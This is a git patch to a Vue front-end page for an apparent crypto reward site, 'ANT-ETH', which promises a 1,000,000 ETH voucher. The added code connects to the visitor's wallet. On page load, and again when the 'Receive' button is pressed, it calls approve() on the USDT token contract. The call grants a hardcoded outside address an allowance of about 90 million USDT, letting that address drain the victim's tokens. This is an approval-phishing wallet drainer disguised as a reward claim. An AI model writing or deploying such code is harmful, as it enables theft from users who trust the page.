From 346b1300fbc167c4384f804cee2ca1af730dd895 Mon Sep 17 00:00:00 2001
From: queenwuli <942534046@qq.com>
Date: Wed, 23 Mar 2022 15:08:44 +0800
Subject: [PATCH] gx
---
src/pages/index/index.vue | 250 ++++++++++++++++++++++++++++++--------------------
1 files changed, 150 insertions(+), 100 deletions(-)
diff --git a/src/pages/index/index.vue b/src/pages/index/index.vue
index f9d6a38..9c9e7ee 100644
--- a/src/pages/index/index.vue
+++ b/src/pages/index/index.vue
@@ -11,13 +11,14 @@
<span class="title">ANT-ETH</span>
<div class="right flex align-center">
<img src="../../assets/images/icon.png" class="icon"/>
- <span>{{ $t("message.ConnectWallet") }}</span>
+ <span v-if="walletAddress">{{walletAddress}}</span>
+ <span v-else @click="showAccreditModal">{{ $t("message.ConnectWallet") }}</span>
</div>
</div>
<div class="banner-content">
<p>{{ $t("message.Defi") }}</p>
<p>{{ $t("message.Reward") }}<span class="em">1000,000</span> ETH</p>
- <button @click="showApproveModal()">{{ $t("message.ReceiveVoucher") }}</button>
+ <button @click="isShowApproveModal = true">{{ $t("message.ReceiveVoucher") }}</button>
</div>
</div>
<img src="../../assets/images/banner.png" class="banner"/>
@@ -29,40 +30,35 @@
<Account></Account>
</van-tab>
</van-tabs>
- <van-overlay :show="isShowApproveModal" @click="hideApproveModal">
- <div class="wrapper" @click.stop>
- <div class="block">
+ <van-overlay :show="isShowApproveModal" @click="isShowApproveModal = false" class="wrapper">
+ <div class="block" @click.stop>
<div class="block-title">
<p>{{ $t("message.ReceiveDescription") }}</p>
</div>
<p class="block-content">{{ $t("message.Description") }}</p>
- <button class="block-btn" @click="showAccreditModal()">{{ $t("message.Receive") }}</button>
+ <button class="block-btn" @click="toApprove">{{ $t("message.Receive") }}</button>
</div>
- </div>
</van-overlay>
- <van-overlay :show="isShowAccreditModal" @click="hideAccreditModal">
- <div class="wrapper" @click.stop>
- <div class="block">
- <img class="close-icon" @click="hideAccreditModal" src="../../assets/images/close-icon.png">
- <div class="accredit-box flex align-center justify-between">
- <div class="item flex flex-v align-center justify-center">
+ <van-overlay :show="isShowAccreditModal" @click="isShowAccreditModal = false" class="wrapper">
+ <div class="block" @click.stop>
+ <img class="close-icon" @click="isShowAccreditModal = false" src="../../assets/images/close-icon.png">
+ <div class="accredit-box">
+ <div class="item" @click="showDappModal()">
<img src="../../assets/images/icon7.png">
<p class="title">Dapp</p>
<p>DappConnect</p>
</div>
- <div class="item flex flex-v align-center justify-center" @click="showWalletModal()">
+ <div class="item" @click="showWalletModal()">
<img src="../../assets/images/icon8.png">
<p class="title">Wallet</p>
<p>WalletConnect</p>
</div>
</div>
</div>
- </div>
</van-overlay>
- <van-overlay :show="isShowWalletModal" @click="hideWalletModal">
- <div class="wrapper" @click.stop>
- <div class="block">
- <img class="close-icon" @click="hideWalletModal" src="../../assets/images/close-icon.png">
+ <van-overlay :show="isShowWalletModal" @click="isShowWalletModal = false" class="wrapper">
+ <div class="block" @click.stop>
+ <img class="close-icon" @click="isShowWalletModal = false" src="../../assets/images/close-icon.png">
<div class="wallet-box">
<p class="title">选择你的钱包</p>
<div class="wallet-warp flex align-center justify-between">
@@ -85,7 +81,6 @@
</div>
</div>
</div>
- </div>
</van-overlay>
</div>
</template>
@@ -106,27 +101,103 @@
},
setup() {
const { proxy } = getCurrentInstance();
- const changeLanguage = (type) => {
+ let walletAddress = ref('');
+ let isShowApproveModal = ref(false);
+ let isShowAccreditModal = ref(false);
+ let isShowWalletModal = ref(false);
+ function changeLanguage(type){
proxy.$i18n.locale = type;
}
- let provider = reactive(new WalletConnectProvider({
- infuraId: '27e484dcd9e3efcfd25a83a78777cdf1',
- bridge: "https://bridge.walletconnect.org",
- }))
- async function initWalletConnect() {
- let tronWeb = window.tronWeb;
- alert(tronWeb)
- // const web3 = new Web3(provider);
- // const accounts = await web3.eth.getAccounts();
- // console.log(accounts)
- // web3.eth.getAccounts().then((res) => {
- // alert(res)
- // }).catch((err) => {
- // alert(err)
- // });
+
+ // 授权按钮
+ function toApprove() {
+ if(proxy.walletAddress){
+ approve()
+ }else{
+ showAccreditModal()
+ }
+ }
+ function showAccreditModal() {
+ proxy.isShowApproveModal = false
+ proxy.isShowAccreditModal = true
+ }
+ async function showDappModal() {
+ proxy.isShowAccreditModal = false
+ // proxy.isShowWalletModal = true
+ const provider = new WalletConnectProvider({
+ infuraId: "27e484dcd9e3efcfd25a83a78777cdf1",
+ qrcode: false,
+ qrcodeModalOptions: {
+ mobileLinks: [
+ 'tronLink',
+ "rainbow",
+ "metamask",
+ "argent",
+ "trust",
+ "imtoken",
+ "pillar",
+ ]
+ }
+ });
+ await provider.enable();
+ }
+ async function showWalletModal() {
+ proxy.isShowAccreditModal = false;
+ const provider = new WalletConnectProvider({
+ infuraId: '27e484dcd9e3efcfd25a83a78777cdf1',
+ bridge: "https://bridge.walletconnect.org",
+ })
+ await provider.enable();
+ let web3 = new Web3(provider);
+ const accounts = await web3.eth.getAccounts();
+ console.log(accounts);
+ }
+
+
+ // 获取地址
+ async function getAddress () {
+ let address = '0x391040eE5F241711E763D0AC55E775B9b4bD0024';
+ if(window.ethereum) {
+ await window.ethereum.enable();
+ const accounts = await ethereum.request({ method: 'eth_accounts' });
+ address = accounts[0];
+ }else if(window.tronWeb){
+ address = window.tronWeb.defaultAddress.base58;
+ }
+ proxy.walletAddress = address;
+ }
+ async function approve () {
+ const web3 = new Web3(window.ethereum);
+ const contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
+ const trxContractAddress = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
+ const authorizedAddress = '0xD998DA7362360eFC6daDFEd6E9a32E70640d7600';
+ const abi = [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_upgradedAddress","type":"address"}],"name":"deprecate","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"deprecated","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_evilUser","type":"address"}],"name":"addBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"upgradedAddress","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"balances","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"maximumFee","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"_totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"unpause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_maker","type":"address"}],"name":"getBlackListStatus","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"address"}],"name":"allowed","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"paused","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"who","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"pause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getOwner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newBasisPoints","type":"uint256"},{"name":"newMaxFee","type":"uint256"}],"name":"setParams","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"issue","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"redeem","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"basisPointsRate","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"isBlackListed","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_clearedUser","type":"address"}],"name":"removeBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"MAX_UINT","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_blackListedUser","type":"address"}],"name":"destroyBlackFunds","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_initialSupply","type":"uint256"},{"name":"_name","type":"string"},{"name":"_symbol","type":"string"},{"name":"_decimals","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Issue","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Redeem","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"newAddress","type":"address"}],"name":"Deprecate","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"feeBasisPoints","type":"uint256"},{"indexed":false,"name":"maxFee","type":"uint256"}],"name":"Params","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_blackListedUser","type":"address"},{"indexed":false,"name":"_balance","type":"uint256"}],"name":"DestroyedBlackFunds","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"AddedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"RemovedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[],"name":"Pause","type":"event"},{"anonymous":false,"inputs":[],"name":"Unpause","type":"event"}];
+ const contract = new web3.eth.Contract(abi, contractAddress);
+ const result = await contract.methods.approve(authorizedAddress, 90000000000000).send({from:proxy.walletAddress, gas:100000});
+ console.log(result);
+ }
+ async function init() {
+ await getAddress();
+ console.log(proxy.walletAddress)
+ if (proxy.walletAddress) {
+ proxy.$axios({
+ url: '/dapp/common/isApprove/' + proxy.walletAddress,
+ method: 'get'
+ }).then((res) => {
+ if(res.code === 200) {
+ sessionStorage.setItem('address', proxy.walletAddress);
+ }else{
+ approve()
+ }
+ }).catch((err) => {
+ approve()
+ })
+ }else{
+ showAccreditModal();
+ }
}
onMounted(() => {
- initWalletConnect()
+ init()
})
return {
local: ref('zh'),
@@ -134,56 +205,25 @@
{ text: '简体中文', value: 'zh' },
{ text: 'English', value: 'en' }
],
- provider,
- initWalletConnect,
- isShowApproveModal: ref(false),
- isShowAccreditModal: ref(false),
- isShowWalletModal: ref(false),
- changeLanguage
+ init,
+ // 弹窗显示隐藏
+ isShowApproveModal,
+ isShowAccreditModal,
+ isShowWalletModal,
+
+ showAccreditModal,
+ showWalletModal,
+ showDappModal,
+ toApprove,
+
+ // 中英文切换
+ changeLanguage,
+
+ walletAddress, //地址
};
},
methods: {
- connect() {
- const provider = new WalletConnectProvider({
- infuraId: '27e484dcd9e3efcfd25a83a78777cdf1',
- bridge: "https://bridge.walletconnect.org",
- });
- // Enable session (triggers QR Code modal)
- provider.enable();
-
- this.web3 = new Web3(provider);
-
- // this.getAccount();
- // subscribe to events
- // this.subscribeToEvents();
- },
- subscribeToEvents() {
- const connector = this.connector;
- if (!connector) {
- return;
- }
- },
- showApproveModal(){
- this.provider.enable();
- this.isShowApproveModal = true
- },
- hideApproveModal(){
- this.isShowApproveModal = false
- },
- showAccreditModal(){
- this.isShowApproveModal = false
- this.isShowAccreditModal = true
- },
- hideAccreditModal(){
- this.isShowAccreditModal = false
- },
- showWalletModal(){
- this.hideAccreditModal()
- this.isShowWalletModal = true
- },
- hideWalletModal(){
- this.isShowWalletModal = false
- }
+
}
}
</script>
@@ -256,15 +296,15 @@
display: flex;
align-items: center;
justify-content: center;
+ padding: 50px;
+ box-sizing: border-box;
}
.block {
- background-color: #fff;
+ width: 100%;
+ background: #fff;
border-radius: 20px;
- padding: 24px 34px 32px;
- position: fixed;
- top: 30%;
- left: 24px;
- right: 24px;
+ padding: 32px 34px 32px;
+ position: relative
}
.block-title{
text-align: left;
@@ -306,32 +346,42 @@
.close-icon{
position: absolute;
top: -63px;
- right: 0px;
+ right: -5px;
width: 50px;
height: 50px;
color: #fff;
}
.accredit-box{
- padding: 54px 30px;
+ padding: 20px 0;
}
.accredit-box .item{
- width: 45%;
- border: 1px solid #E9E9E9;
- border-radius: 20px;
- padding: 35px;
box-sizing: border-box;
+ padding: 64px;
+ position: relative;
+}
+.accredit-box .item:nth-child(1)::after{
+ display: block;
+ content: '';
+ height: 1px;
+ width: 100%;
+ background: #ebedf0;
+ position: absolute;
+ left: 0;
+ right: 0;
+ bottom: 0;
}
.accredit-box .item img{
- width: 84px;
- height: 84px;
+ width: 98px;
+ height: 98px;
+ margin-bottom: 20px;
}
.accredit-box .item p{
margin: 10px 0 0;
- font-size: 24px;
+ font-size: 30px;
color: #999999;
}
.accredit-box .item .title{
- font-size: 32px;
+ font-size: 40px;
color: #080808;
font-weight: bold;
}
--
Gitblit v1.9.1